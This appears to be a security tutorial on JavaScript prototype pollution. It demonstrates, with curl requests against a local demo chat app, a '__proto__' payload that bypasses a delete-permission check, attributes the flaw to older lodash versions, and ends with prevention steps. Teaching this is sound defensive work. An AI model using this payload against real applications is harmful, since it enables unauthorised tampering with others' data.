In every project with JavaScript we depend on third-party libraries. We have a huge repository (npm) with thousands of packages. You can find a package for everything there and this stimulates people to install packages for even the easier stuff. The isTrue package is an example of that. Everyone can publish packages in npm and people with bad intentions can put vulnerabilities in your project without knowing that.
What is a prototype?
Before we dive into the problem we need to understand how the prototype works. JavaScript is a prototype based language. This means that when we create an object it has hidden properties that are inherited in the prototype (constructor, toString, hasOwnProperty).
Different types have different methods in the prototype. The Number prototype has toExponential, toFixed, and so on. This gives us some methods that can help us. For example, we can round some numbers.
We can also add properties and methods to the prototype which is considered a bad practice.
If we refer to an object key that does not exist on the object the engine will look in the prototype for it. We can have prototype pollution on the client-side that can cause XSS on our application. On the other hand, if we have this vulnerability on our server it can cause RCE (Remote Code Execution), IDOR (Insecure Direct Object References), LFI (Local File Inclusion), and many more.
Server Side Example
Let’s take for example a simple chat application. Here is the code for the application which is forked from the original repository of https://github.com/Kirill89
In this application, we have several functionalities. Everyone is authorized to see the messages with a get request to “/”
curl --request GET --url http://localhost:3000/
The output will be an empty array because we have not added any tasks
[ ]
Registered uses can add tasks to the list. We already have one registered user and we will add a message
curl --request PUT \ --url http://localhost:3000/ \ --header 'content-type: application/json' \ --data '{"auth": {"name": "user", "password": "pwd"}, "message": {"text": "Hi!"}}'
Now if we list the tasks we will see our task in the list.
[{"icon":"✔️","text":"Hi!","id":1,"timestamp":1620743071230,"userName":"user"}]
If we try to delete a task with the same user we will receive an error message
curl --request DELETE \ --url http://localhost:3000/ \ --header 'content-type: application/json' \ --data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 2}'
Output
{"ok":false,"error":"Access denied"}
But if we send a payload that can add to the prototype of all objects “canDelete” to be true we will be able to delete all messages.
The exploit
curl --request PUT \ --url http://localhost:3000/ \ --header 'content-type: application/json' \ --data '{"auth": {"name": "user", "password": "pwd"}, "message": { "text": "😈", "__proto__": {"canDelete": true}}}'
Now we bypass the check and can delete what we want
curl --request DELETE \ --url http://localhost:3000/ \ --header 'content-type: application/json' \ --data '{"auth": {"name": "user", "password": "pwd"}, "messageId": 1}'
Output
{"ok":true}
The reason for this vulnerability was the package lodash which has vulnerabilities in versions below 4.17.19.
How can you prevent prototype pollution vulnerabilities?
1. Check your dependencies
Our code is a combination of many dependencies and how we use them. You need to regularly check for submitted vulnerability reports for the packages that you use. In javascript this can happen very easily when you run
npm audit
This command will return all packages with the vulnerability that they have and the version that is safe for use.
2. Create an object with Object constructor
let obj = Object.create(null); obj.__proto__ // undefined obj.constructor // undefined
If we use Object.create(null) we will have an object which doesn’t have a prototype.
3. Freeze the prototype object
Object.freeze(Object.prototype); Object.freeze(Object); ({}).__proto__.test = 123; ({}).test // this will be undefined
We can freeze the prototype of the Object and nothing in the prototype will be not added.
4. Using Map instead of Object
Map primitive is introduced in ES6 and it is considered safer to use for the key-values store.
Photos by: Charles Deluvio and Motion Software